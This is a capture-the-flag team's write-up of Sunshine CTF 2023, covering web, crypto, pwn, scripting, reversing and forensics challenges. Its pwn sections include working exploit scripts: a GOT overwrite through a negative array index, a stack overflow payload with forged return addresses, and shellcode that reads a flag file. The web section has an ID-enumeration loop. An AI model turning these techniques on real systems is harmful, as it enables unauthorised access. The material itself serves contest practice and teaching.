# Sunshine CTF 2023-WAN # WEB ### BeepBoop Blog --- Slover: `堇姬naup` You can observe a suspicious URL, which has patterns. You can get something by using different numbers after the URL path `/post/` `https://beepboop.web.2023.sunshinectf.games/post/1` ![](https://hackmd.io/_uploads/HJOJcfx-6.png) I guess the flag may be hidden in one of the paths. **Solve Script** ```python= import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) for i in range(99999): print(i) web = requests.get('https://beepboop.web.2023.sunshinectf.games/post/{}/'.format(i), verify=False) if 'sun{' in web.text: print(web.text) break ``` It can make requests starting from 0 and check whether there is a flag in it. ![](https://hackmd.io/_uploads/H1gm2MebT.png) Get FLAG!! #### FLAG:```sun{wh00ps_4ll_IDOR}``` ### Hotdog Stand --- Solver: `Whale120` The challenge is a simple login page, after some tries on sql injection, the official release an information about challenge fixing(while I was on flask-unsign......). After fixed, we can get ```/hotdog-database/```from```robots.txt```, and we can see username and password in it, LOL! #### FLAG:`sun{5l1c3d_p1cKl35_4nd_0N10N2}` # CRYPTO ### BeepBoop Cryptography --- Solver: `Whale120` text: `beep beep beep beep boop beep boop beep beep boop boop beep beep boop boop beep beep boop boop beep boop beep beep beep beep boop boop beep beep beep beep boop beep boop boop boop boop beep boop boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop boop boop boop beep boop ` turn it into 0/1, and decode with binary, would get something like this: `fha{rkgrezvangr-rkgrezvangr-rkgrezvangr}` Caeser cipher decrypt: #### FLAG:`sun{exterminate-exterminate-exterminate}` # MISC # PWN ### 😎 Array of Sunshine ☀️ --- ![](https://hackmd.io/_uploads/ByfNfNx-a.png) ![](https://hackmd.io/_uploads/BJSGz4g-a.png) We can see an obvious bug `scanf("%s",&fruit[v1])` and It didn't check if `v1` is out of index Also protection is `Partial RELRO` and fruit is a global variable. So we know it has a **GOT hijack** There is a win function which will **$cat flag** and when `print_sym !=MEMORY[0x404020]` at the same time `MEMORY[0x404020]` is `0x6` (know by gdb) I gonna hijack `exit@got[plt]` to win function Because of **NO-PIE** we know `exit@got[plt]` at `0x405040`, `fruit` at `0x405080` (It means `exit@got[plt]` is at `fruit[-8]`) #### slove script: ```py= import sys sys.path.append('/data') sys.path.append('/home/aukro/pwnbox/data') from tool.template import * init(64) debug() r = nc('nc chal.2023.sunshinectf.games 23003') r.recvuntil(b'>>> ') win = 0x40128f r.sendline(b'-8') print(r.recvline()) r.sendline(p64(win)) end() ``` #### Flag: `sun{a_ray_of_sunshine_bouncing_around}` ### Flock of Seagulls 🕊️ --- ![](https://hackmd.io/_uploads/ByMTCXe-p.png) With IDA decompiling I found out a function call chain `main->fun1->fun2->fun3->fun4->fun5` also it has a ret adr check chain (didn't check fuc1->main) `fun5->fun4->fun3->fun2->fun1-x>main` and a backdoor function call `win` ![](https://hackmd.io/_uploads/SJYDJ4lbp.png) It gave us `rsp` and also has a huge `BOF` with `No PIE` we can just write back the `ret adr` to bypass the check and write `func1's ret adr` to `win` I also use gdb to help me write bypass payload more easily ![](https://hackmd.io/_uploads/HyC1-4xZT.png) #### slove script: ```py= import sys sys.path.append('/data') sys.path.append('/home/aukro/pwnbox/data') from tool.template import * init(64) debug() r = nc('nc chal.2023.sunshinectf.games 23002') r.recvuntil(b'At ') a = r.recvline().strip() rsp = int(a,16) rbp = rsp+128 print(hex(rsp)) payload = b'a'*128+ p64(rbp+0x20) + p64(0x401276) +b'a'*0x10+ p64(rbp+0x40) + p64(0x4012a0)+b'a'*0x10 + p64(rbp+0x60) +p64(0x4012ca)+b'a'*0x10 +p64(rbp+0x70) +p64(0x4012f0) +b'b'*8+p64(0x4011bd) r.sendafter(b'>>> ', payload) end() ``` #### Flag: `sun{here_then_there_then_everywhere}` ### Bug Spray 🐛🪲🐞 --- ![Security check](https://hackmd.io/_uploads/rkd-x7gbp.png) First thing first we use IDA Decompile it [IDA_DECOMPILE](https://hackmd.io/_uploads/BJ27jfgbT.png) imo that IDA didn't decompile correctly so i chose to oberserve the Assembly code ![IDA_DEASSEM](https://hackmd.io/_uploads/H1_FJ7xWa.png) In this block we know we have ***RWX*** at `0x777777` and its size is `0x12c` also we know after this block `r10=r12=0x64` ![](https://hackmd.io/_uploads/rJYMbmlZp.png) Our target is goto `Lable:off` for the rwx segment Todo At the top two blocks of this picture we know it hope the length we wrote is 0x44 or 0x45 (0x64 <= rax+20 < 0x66) After that it do syscall, and we know 0x64 stands for `sys_time`, 0x65 stands for `sys_ptrace`, after testing we know only `sys_ptrace` is possible to return 0 So, we'll send `0x45 bytes` [syscalltable](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md) For serveral times testing, I finally found out that **CAN'T** get shell by calling `execve("/bin/sh")` so i change to use orw and try to get flag Finally I get the flag btw the flag is at `./flag.txt` #### slove script: ```python= import sys sys.path.append('/data') sys.path.append('/home/aukro/pwnbox/data') from tool.template import * init(64) debug() r = nc('nc chal.2023.sunshinectf.games 23004') r.recvuntil(b'>>> ') shell = asm( """ mov rbx,0x7478 push rbx mov rbx, 0x742e67616c662f2e push rbx push rsp pop rdi xor rsi,rsi xor rdx,rdx mov rax,0x2 syscall mov rdx, 0x40 mov rsi,rsp mov r8,rax mov rdi,r8 xor rax,rax syscall mov rax,1 mov rdi,rax syscall """) r.send(shell+b'a'*(0x45-len(shell))) end() ``` #### Flag: `sun{mosquitos_and_horseflies_and_triangle_bugs_oh_my}` # Scripting ### DDR --- ![](https://hackmd.io/_uploads/BJaocml-a.png) The first time we remote and press enter **Suddenly I lose** (x Now we know we have to do this with scripts when i try pwntools I found out that it send `\xe2\x87\xa6\xe2\x87\xa8\xe2\x87\xa6`and things like that just use python script to slove this #### slove script: ```python= import sys sys.path.append('/data') sys.path.append('/home/aukro/pwnbox/data') from tool.template import * r = nc('nc chal.2023.sunshinectf.games 23200') print(r.recvuntil(b'Start --')) r.sendline(b'\n') print(r.recvlines(2)) ind = 0 while 1: x = r.recvline().strip().split(b'\xe2') if b'\x87\xa6' not in x: print(1) break ans ='' for i in x: if i == b'\x87\xa6': ans += 'a' elif i == b'\x87\xa7': ans += 'w' elif i == b'\x87\xa8': ans += 'd' elif i == b'\x87\xa9': ans += 's' else : ans += '' ind+=1 print(ans.encode(), ind) r.sendline(ans.encode()) print(r.recvline()) # print(x) end() ``` #### Flag: `sun{d0_r0b0t5_kn0w_h0w_t0_d4nc3}` ### SimonProgrammer 1 --- A site that woud press some links and play some frequency , the mission is to follow it every time... **Solution:** After an observation on the js source, I noticed that the answers would store in an array called `global_frequencies`(but is the filename, also), and I just modify`current_frequencies_used_global` into `global_frequencies` and also with some string implementation, and finally post it to path `/flag` with it's built-in function! **Solve Script:** ```js current_frequencies_used_global=global_frequencies for (let j = 0; j < current_frequencies_used_global.length; j++) { current_frequencies_used_global[j]=current_frequencies_used_global[j].replace("/static/", ""); current_frequencies_used_global[j]=current_frequencies_used_global[j].replace(".wav", ""); } submitFrequencies(current_frequencies_used_global) ``` # Reversing ### Dill --- Slover: `堇姬naup` After downloading, you can see a .pyc file. You can find websites online that can decompiler it. https://www.toolnb.com/tools-lang-zh-TW/pyc.html You will get this. ```python= # uncompyle6 version 3.5.0 # Python bytecode 3.8 (3413) # Decompiled from: Python 2.7.5 (default, Jun 20 2023, 11:36:40) # [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] # Embedded file name: dill.py # Size of source mod 2**32: 914 bytes class Dill: prefix = 'sun{' suffix = '}' o = [5, 1, 3, 4, 7, 2, 6, 0] def __init__(self) -> None: self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls' def validate(self, value: str) -> bool: if not (value.startswith(Dill.prefix) and value.endswith(Dill.suffix)): return False value = value[len(Dill.prefix):-len(Dill.suffix)] if len(value) != 32: return False c = [value[i:i + 4] for i in range(0, len(value), 4)] value = ''.join([c[i] for i in Dill.o]) if value != self.encrypted: return False else: return True ``` After entering a number, the head and tail will be removed, then cut into groups of four and then swap positions. I tried to restore it, but it must have been written incorrectly.However, the string length is not long, so you can try it out by using loop. ![](https://hackmd.io/_uploads/ryjdDmgZ6.png) **Solve Script** ```python class Dill: prefix = 'sun{' suffix = '}' o = [5, 1, 3, 4, 7, 2, 6, 0] def __init__(self) -> None: self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls' def validate(self, value: str) -> bool: if not (value.startswith(Dill.prefix) and value.endswith(Dill.suffix)): return False value = value[len(Dill.prefix):-len(Dill.suffix)] if len(value) != 32: return False c = [value[i:i + 4] for i in range(0, len(value), 4)] value = ''.join([c[i] for i in Dill.o]) if value != self.encrypted: return False else: return True dill_instance = Dill() for i in range (20): d=[5, 1, 3, 4, 7, 2, 6, 0] value= 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls' if i!=0: value=b c = [value[i:i + 4] for i in range(0, len(value), 4)] ans="" for i in range(8): ans=ans+c[d[i]] b=ans ans="sun{"+ans+"}" result = dill_instance.validate(ans) if result==True: print(ans) ``` #### FLAG:```sun{ZGlsbGxpa2V0aGVwaWNrbGVnZXRpdD8K}``` --- --- # After the End # Forensics ### Low Effort Wav 🌊 --- >Author : `堇姬Naup` After downloading, it looks like a ```.wav``` file, but it is actually a ```.png``` file. ![](https://hackmd.io/_uploads/SJNqbVMZp.png) Convert it back to PNG first ![](https://hackmd.io/_uploads/B1OxMNfZ6.png) When I open it. The file seems to be cropped .It might be a ```Cropalyps``` ![](https://hackmd.io/_uploads/rkEwzEfWp.png) We used exiftool to find out that the phone model he used was ```Google Pixel 7``` We can use [acropalypse.app](https://acropalypse.app/) to restore the cropped part ![](https://hackmd.io/_uploads/rJ3J7NGWp.png) Select pixel 7 and restore it ![](https://hackmd.io/_uploads/Bk-xIEz-p.png) ![](https://hackmd.io/_uploads/rkjCHEf-6.png) #### FLAG:```sun{well_that_was_low_effort}``` # Reversing ### First Date --- >Author : `堇姬Naup` Unzip the file he gave you to get a `pdx` containing `main.pdz` `pdxinfo` ![](https://hackmd.io/_uploads/BJK3QnM-p.png) I studied the `.pdz` file and found some information.Playdate is a handheld video game console. https://play.date/ **Playdate game formats** * luac - Lua bytecode * pdz - File container * pda - Audio file * pdi - Image file * pdt - Imagetable file * pdv - Video file * pds - Strings file * pft - Font file Try to find a playdate related reverse tool and you will find one. https://github.com/cranksters/playdate-reverse-engineering/tree/main What is `.pdz`? ``` A file with the .pdz extension represents a file container that has been compiled by pdc. They mostly contain compiled Lua bytecode, but they can sometimes include other assets such as images or fonts. This format uses little endian byte order. ``` It has given a tool that can unpack all files from a `.pdz` You can get a `main.luac` ``` python3 pdz.py <.pdz> <路徑> ``` # Scripting ### SimonProgrammer 2 --- >Author : `堇姬Naup` > Continue the idea of simon1. Go grab the variable `global_frequencies` You can get this. ``` ['/static/8J-kljI4N_CfpJYK.wav', '/static/8J-kljM5N_CfpJYK.wav', '/static/8J-kljM3N_CfpJYK.wav', '/static/8J-kljEwMTbwn6SWCg==.wav', '/static/8J-kljE0ODDwn6SWCg==.wav', '/static/8J-kljIxNPCfpJYK.wav', '/static/8J-kljEyOTbwn6SWCg==.wav', '/static/8J-kljE4MjPwn6SWCg==.wav', '/static/8J-kljQyMPCfpJYK.wav', '/static/8J-kljE0Njnwn6SWCg==.wav', '/static/8J-kljExNjTwn6SWCg==.wav', '/static/8J-kljE5NDPwn6SWCg==.wav', '/static/8J-kljY1M_CfpJYK.wav', '/static/8J-kljEwMjTwn6SWCg==.wav', '/static/8J-kljM2MfCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljE1Njfwn6SWCg==.wav', '/static/8J-kljExMPCfpJYK.wav', '/static/8J-kljQwMvCfpJYK.wav', '/static/8J-kljI1OfCfpJYK.wav', '/static/8J-kljI5OPCfpJYK.wav', '/static/8J-kljIwMPCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljUyOfCfpJYK.wav', '/static/8J-kljEwODDwn6SWCg==.wav', '/static/8J-kljUyNPCfpJYK.wav', '/static/8J-kljE1MDPwn6SWCg==.wav', '/static/8J-kljE3MDTwn6SWCg==.wav', '/static/8J-kljM0NfCfpJYK.wav', '/static/8J-kljE4NvCfpJYK.wav', '/static/8J-kljY08J-klgo=.wav', '/static/8J-kljEwN_CfpJYK.wav', '/static/8J-kljk1N_CfpJYK.wav', '/static/8J-kljQ4NvCfpJYK.wav', '/static/8J-kljYy8J-klgo=.wav', '/static/8J-kljI1NPCfpJYK.wav', '/static/8J-kljc2MfCfpJYK.wav', '/static/8J-kljExOTTwn6SWCg==.wav', '/static/8J-kljQ4MvCfpJYK.wav', '/static/8J-kljE3ODHwn6SWCg==.wav'] ``` After removing `/static/` and `.wav`, base64 the string and remove the irrelevant characters at the beginning and end. ```py import base64 file=['8J-kljI4N_CfpJYK', '8J-kljM5N_CfpJYK', '8J-kljM3N_CfpJYK', '8J-kljEwMTbwn6SWCg==', '8J-kljE0ODDwn6SWCg==', '8J-kljIxNPCfpJYK', '8J-kljEyOTbwn6SWCg==', '8J-kljE4MjPwn6SWCg==', '8J-kljQyMPCfpJYK', '8J-kljE0Njnwn6SWCg==', '8J-kljExNjTwn6SWCg==', '8J-kljE5NDPwn6SWCg==', '8J-kljY1M_CfpJYK', '8J-kljEwMjTwn6SWCg==', '8J-kljM2MfCfpJYK', '8J-kljEyMjjwn6SWCg==', '8J-kljE1Njfwn6SWCg==', '8J-kljExMPCfpJYK', '8J-kljQwMvCfpJYK', '8J-kljI1OfCfpJYK', '8J-kljI5OPCfpJYK', '8J-kljIwMPCfpJYK', '8J-kljEyMjjwn6SWCg==', '8J-kljUyOfCfpJYK', '8J-kljEwODDwn6SWCg==', '8J-kljUyNPCfpJYK', '8J-kljE1MDPwn6SWCg==', '8J-kljE3MDTwn6SWCg==', '8J-kljM0NfCfpJYK', '8J-kljE4NvCfpJYK', '8J-kljY08J-klgo=', '8J-kljEwN_CfpJYK', '8J-kljk1N_CfpJYK', '8J-kljQ4NvCfpJYK', '8J-kljYy8J-klgo=', '8J-kljI1NPCfpJYK', '8J-kljc2MfCfpJYK', '8J-kljExOTTwn6SWCg==', '8J-kljQ4MvCfpJYK', '8J-kljE3ODHwn6SWCg=='] o=[] for i in file: o.append(base64.urlsafe_b64decode(i).decode('utf-8')[1:-2]) print(o) ``` The o that comes out of print() is thrown into the following script. ```javascript current_frequencies_used_global=['287', '397', '377', '1016', '1480', '214', '1296', '1823', '420', '1469', '1164', '1943', '653', '1024', '361', '1228', '1567', '110', '402', '259', '298', '200', '1228', '529', '1080', '524', '1503', '1704', '345', '186', '64', '107', '957', '486', '62', '254', '761', '1194', '482', '1781'] for (let j = 0; j < current_frequencies_used_global.length; j++) { current_frequencies_used_global[j]=current_frequencies_used_global[j].replace("/static/", ""); current_frequencies_used_global[j]=current_frequencies_used_global[j].replace(".wav", ""); } submitFrequencies(current_frequencies_used_global) ``` Just throw it to the console of F12 and it will get flag. ![](https://hackmd.io/_uploads/BydIJ6GZp.png) **FLAG :** `sun{simon_says_wait_that_was_a_mistake_what_do_you_mean_the_filenames_were_frequencies}` ### SimonProgrammer 3 --- # Misc ### Knowledge Repository --- # Pwn ### House of Sus --- ### Robot Assembly Line ---